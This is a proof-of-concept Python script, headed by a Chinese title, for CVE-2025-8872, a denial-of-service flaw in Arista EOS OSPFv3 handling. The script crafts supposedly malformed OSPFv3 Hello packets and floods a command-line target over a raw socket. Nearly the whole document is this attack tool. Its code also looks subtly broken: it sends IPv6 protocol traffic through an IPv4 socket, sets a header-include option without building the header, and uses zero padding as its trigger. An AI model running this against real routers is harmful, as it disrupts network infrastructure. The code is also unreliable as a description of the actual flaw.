CVE-2025-8872 Arista EOS OSPFv3拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-8872 PoC - Arista EOS OSPFv3 DoS This PoC demonstrates sending a malformed OSPFv3 packet to trigger high CPU usage. Note: This is for educational and authorized testing purposes only. """ import socket import struct import random def create_osfpv3_hello_packet(): """Create a malformed OSPFv3 Hello packet""" version = 3 # OSPFv3 packet_type = 1 # Hello # OSPFv3 Header header = struct.pack('!BBHII', version, packet_type, 0, # Packet length (will be calculated) 0x00000000, # Router ID 0x00000000 # Area ID ) # Add OSPFv3 Hello body with potential trigger data hello_body = struct.pack('!IHHH', 0x00000000, # Interface ID 0x0002, # Priority 0x00000000, # Options 0x0000 # HelloInterval ) # Add padding/extra data to trigger parsing issue padding = b'\x00' * 100 packet = header + hello_body + padding # Update packet length packet = bytes([version, packet_type]) + struct.pack('!H', len(packet)) + packet[4:] return packet def send_malformed_packet(target_ip, target_port=89): """Send malformed OSPFv3 packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 89) # OSPF protocol sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) packet = create_osfpv3_hello_packet() try: sock.sendto(packet, (target_ip, target_port)) print(f"[*] Malformed OSPFv3 packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[!] Error sending packet: {e}") finally: sock.close() def send_flood_attack(target_ip, count=100): """Send multiple malformed packets""" print(f"[*] Starting OSPFv3 flood attack on {target_ip}") for i in range(count): send_malformed_packet(target_ip) print(f"[*] Sent {count} packets") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_8872_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_flood_attack(target, count=50)